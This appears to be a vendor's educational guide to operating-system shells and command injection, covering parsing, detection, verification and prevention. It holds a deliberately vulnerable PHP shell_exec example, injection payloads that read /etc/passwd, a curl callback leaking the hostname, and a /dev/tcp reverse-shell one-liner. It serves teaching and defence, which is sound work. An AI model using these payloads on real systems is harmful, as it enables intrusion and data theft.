What Is a Shell? Command-Line Interfaces and Security Risks
A foundational guide to operating system shells: how shells parse commands, what metacharacters do, and why invoking a shell from application code creates injection risks.
Short answer
A shell is a program that reads text commands and executes them against the operating system. When application code passes unsanitized user input into a shell, it hands the attacker a keyboard.
The idea in one minute
Imagine a receptionist who types whatever you say into a terminal window. You say "open the door" and they type open the door. The problem is that the terminal doesn't understand plain English — it interprets certain characters as instructions to the terminal itself. If you say "open the door; also, email everyone your password," the receptionist types the whole thing literally, and the ; tells the terminal "run a second command now."
A shell is that receptionist. It doesn't know the difference between "the text you meant as data" and "the text you meant as an instruction." Characters like ;, |, $, and backtick are not data — they are commands to the shell. When an application takes a filename from a user and passes it to a shell without escaping, it's letting the user inject those instruction characters into the terminal.
How a shell actually works
Every operating system has one or more shells. On Linux and macOS, the most common is Bash (Bourne Again SHell). On Windows, it's cmd.exe and, more recently, PowerShell. All of them follow the same fundamental pattern:
- Read a line of text from stdin, a script file, or a string argument
- Tokenize the line into words, splitting on whitespace and recognizing quoted regions
- Parse the token stream for operators — the special characters that control execution flow
- Expand variables, globs, and substitutions
- Execute the resulting command
The critical insight for security is that steps 2–4 operate on the text of the command, not on a structured representation. The shell has no way to know that ; rm -rf / in a filename was intended as a filename rather than a command separator.
The execution flow
Input string
│
▼
Lexer: split into tokens (words, operators)
│
▼
Parser: identify pipes (|), sequences (;), conditionals (&&, ||)
│
▼
Expansion: variable ($VAR), command substitution ($(...) or ``), glob (*), tilde (~)
│
▼
Execution: syscall via execve (or equivalent)
Each stage operates on text. No stage marks "this part was user input" vs. "this part was the intended command." Once concatenated, they are indistinguishable.
A minimal example
A PHP application that pings a host:
$host = $_GET['host'];
$output = shell_exec("ping -c 4 " . $host);
echo "<pre>$output</pre>";
Intended usage:
GET /ping?host=8.8.8.8
# Runs: ping -c 4 8.8.8.8
Attacker usage:
GET /ping?host=8.8.8.8;%20cat%20/etc/passwd
# Runs: ping -c 4 8.8.8.8; cat /etc/passwd
The shell sees ping -c 4 8.8.8.8; cat /etc/passwd as two commands separated by ;. It dutifully executes both. The ; is not part of the hostname — it's a shell operator — but the shell has no way to distinguish intent from syntax.
Why shell invocation creates risk
The root cause is always the same: application code joins user input with a command string and passes the result to a shell interpreter. This happens in several common patterns:
- Wrapper functions:
exec(),system(),popen(),shell_exec(),subprocesswithshell=True— these all invoke a shell to interpret the command string - String concatenation: building a command string with
+,., or string interpolation instead of passing arguments as an array - Escaping that is incomplete: applying
escapeshellarg()or similar to some inputs but not others, or applying it at the wrong stage - Choosing a shell interpreter explicitly:
bash -c "command"orcmd /c "command"with unsanitized input
The safe alternative is always available: call the target program directly without a shell, passing arguments as a structured array. In Python: subprocess.run(["ping", "-c", "4", host]) instead of subprocess.run("ping -c 4 " + host, shell=True). No shell means no shell metacharacters to abuse.
What attackers look for
- Any parameter passed to
exec(),system(),popen(),shell_exec(),passthru(), orsubprocesswithshell=True - Filenames or paths in file operations — even
ls "$user_input"orcat "$user_input"runs through a shell if invoked viasystem()or backticks - Arguments to
bash -c,sh -c,cmd /c, orpowershell -Command - Ping, nslookup, dig, curl, wget wrappers — features where user input becomes a command argument
- The characters
;,|,&,$, backtick,$(,\n(newline injection) anywhere in user-controlled input that reaches a shell
Detection
- Code review: search for shell-invoking functions (
exec,system,popen,shell_exec,subprocess(shell=True),Runtime.execwith string concat) and trace whether user-controlled values reach them without array-based argument passing. - Dynamic testing: submit payloads containing shell metacharacters followed by a unique canary command or a sleep/delay instruction, and observe the response. A 5-second delay from
; sleep 5confirms shell interpretation. - Blind testing: use out-of-band payloads like
; curl http://canary.example.com/$(hostname)to trigger a DNS or HTTP callback from the server.
Verification: real vulnerability or false positive?
A parameter containing a semicolon producing an error is not command injection — many parsers choke on unexpected characters. Confirm by showing one of:
- A time-based signal:
; sleep 5in the parameter causes a measurable delay compared to the same request without it - An out-of-band callback from a command that reaches infrastructure you control (
; curl your-oast-domain) - Reflected output that could only have been produced by executing a command you injected (e.g., the contents of
/etc/passwd)
The test must prove the shell actually executed your injected instruction, not just that it passed your string to a command that errored.
Real-world impact
- Full remote code execution: command injection in a web application gives the attacker the same privileges as the application user, which is often enough to read the entire filesystem, access databases, and pivot to internal networks
- Data exfiltration: using
curlorwgetto ship database contents, source code, or environment variables (which often contain secrets) to an attacker-controlled server - Reverse shell: a single command like
bash -i >& /dev/tcp/attacker-ip/4444 0>&1can give the attacker an interactive shell - Lateral movement: from the compromised server, an attacker can reach other internal systems that were never exposed to the internet
Prevention
- Never pass user input to a shell. Call the target program directly with an argument array:
exec(["ping", "-c", "4", host]), notexec("ping -c 4 " + host). - Avoid
shell=Truein Python'ssubprocess,system()in PHP/C,Runtime.exec(String)in Java, and backtick operators in any language. These are all shell invocations. - If a shell is unavoidable (e.g., you need pipes, glob expansion, or environment variable interpolation), use a proper escaping function (
escapeshellarg()in PHP,shlex.quote()in Python) on every user-supplied segment — but prefer refactoring to avoid the shell entirely. - Validate the input format before it reaches any command: if the expected value is an IP address, reject anything that doesn't match an IP address pattern, regardless of shell safety.
- Apply least privilege: the application user should not have access to sensitive files or commands it doesn't need to function.
Related vulnerabilities
- Command injection — the direct consequence of unsanitized input reaching a shell
- Argument injection — a subtler variant where user input reaches a program's argument list without a shell, but the program interprets arguments in dangerous ways (e.g.,
--optionflags treated as directives rather than values) - Path traversal — often combined with command injection to read or write files outside the intended directory
Testing methodology (do this safely)
- Test against your own application or an authorized target only. Command injection is remote code execution — testing without authorization is a crime in most jurisdictions.
- Start with benign timing payloads (
; sleep 5) to confirm shell interpretation before escalating to data-reading or out-of-band probes. - Use a dedicated OAST domain for callback-based confirmation. A DNS callback from a
curlornslookuppayload is definitive proof. - Never execute destructive commands (
rm,shutdown,format) even on your own test systems. Use harmless equivalents that demonstrate the same principle. - Document the exact parameter, the payload used, the evidence of execution (timing, callback, or reflected output), and the affected code path.
Further reading
- GNU Bash Manual: Bash Reference Manual
- POSIX: Shell Command Language
- OWASP: Command Injection
- PortSwigger: Command injection
Nyxeara perspective
Nyxeara's scan engine treats every shell-invoking function call as a candidate for command injection, testing each input vector with timing-based probes and out-of-band callbacks. The engine distinguishes between shell invocation detected (a code-path observation) and command execution confirmed (a vulnerability finding), requiring evidence — a callback or a timing differential — before elevating a candidate to a confirmed finding. This evidence-first approach eliminates the false-positive noise that plagues pattern-only scanners, while still surfacing every code path where a shell might interpret attacker-controlled text.